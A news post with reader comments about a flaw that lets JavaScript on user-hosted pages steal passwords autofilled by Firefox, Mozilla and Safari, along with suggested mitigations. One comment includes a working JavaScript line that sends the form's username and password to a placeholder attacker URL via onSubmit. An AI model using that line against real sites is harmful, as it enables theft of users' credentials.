Holes Remain Open in Firefox Password Manager

juct writes "Although the Mozilla developers have fixed a known hole in the password manager of Firefox & Co, a door remains open for exploitation. According to an article on the heise site, hackers can still use JavaScript to steal passwords from users of the Mozilla, Firefox, and Safari browsers. However, the real problem might not be Firefox' password manager. If users can set up their own pages containing script code on a server, the JavaScript security model breaks. Heise Security demonstrates the possible password theft in a demo. 'From the users' perspective, this means that they should not entrust their passwords to the password manager on web sites that allow other users to create their own pages containing scripts. Otherwise somebody can easily create a page that steals the password as soon as the page is opened ... Users could also disable JavaScript or use add-ons such as NoScript to set up rules to provide additional protection. In the age of Web 2.0 this would, however, mean that many pages would cease to function. On the other hand it is doubtful that by not using a password manager security levels would be raised, since the resultant need to remember passwords often induces users to choose simplistic passwords and use them on multiple sites.'"

Comments

Clarification

[jojoba_oil]

Users could also disable JavaScript or use add-ons such as NoScript to set up rules to provide additional protection. In the age of Web 2.0 this would, however, mean that many pages would cease to function. That's very misleading. Allow me to clarify:

Users could also disable JavaScript, which in the age of Web2.0 would cause many pages to display incorrectly. A better alternative is NoScript!, an add-on that allows users to selectively white-list pages, servers, or domains to use JavaScript.

Re:Firefox password manager

[Derek Pomery]

Your first mistake is not setting a master password in Firefox.
Once you do that it won't be able to read them either.
Its failure to read the Opera ones means either A) you set a master password in Opera or B) no one cares about Opera so program doesn't even look for them.

Use the Secure Login FF Extension

[EMR]

By using this extension, the security whole is fixed. Just have to wait around for FF to implement it natively.
This extension provides a *wand* like Opera has. (which is not affected by this security hole, because of this functionality).

https://addons.mozilla.org/en-US/firefox/addon/442 9

Re:Lies, damned lies

[discord5]

I call bullshit. If the "real problem might not be Firefox password manager", then why IE6 and IE7 password managers are not vulnerable?

Actually, the IE6 and IE7 password managers will most likely equally vulnerable. If you do a little looking at the code, all they really do is just scoop the login and pass from the input fields. Mozilla fills it in by default if only one login is available. I don't know exactly what IE does in this case, but I'm guessing that even if IE doesn't fill out the password right away, you can still add an extra onSubmit to the form and do your thing.

From the MSDN website I can quote:

When the AutoComplete feature is set to save passwords, a password is automatically filled in when a known user name is provided, and the password and user name are stored by URL. When changing passwords, the user is prompted to save the new password.

So as far as I can tell, you just need to enter a username and be on the correct URL. If by URL they mean "exactly the same page" this won't work unless you can trick the browser somehow, but if it is "the same (sub)domain" it will. Since I don't have an IE at my disposal right now, I can't test it, but I suppose it will work when you use onSubmit.

document.location="http://some.hackers.url/collect .php?user=" + document.form.user.value + "&pass=" + document.form.pass.value;

Then redirect to the login page hoping that the site doesn't check referrers (most likely they don't), and you're set to go. Sites that allow users to enter HTML and especially javascript are begging for this sort of thing, and there are much worse things you can do once someone gives you free play with javascript anyway (cookies anyone?)

Just stating the obvious, although now I'm actually curious if this works on IE...

Secure Login extension

[David_W]

Do not use a pull model but a push model like the bugmenot extension.

You know, that's not a bad idea. Apparently someone else had it too. Check out the Secure Login extension. It doesn't use a right click (although I kinda wish it did; may have to suggest that) but it does have a shortcut key and an icon.

Thanks for saying that; I would have never thought to go looking for such an extension without you saying it.

Re:Firefox password manager

[mhall119]

Last--FF needs a master password set to be even remotely secure with regard to passwords, while Opera does not. This seems like a big hole. If Opera has encrypted your passwords, then it must have a copy of the decryption key stored somewhere in order to read them. It would seem that your program's author just didn't know where the key way, or it would have been able to read the Opera passwords too. Someone can correct me on this if I'm wrong (not a big Opera user), but to me it sounds like security through obscurity.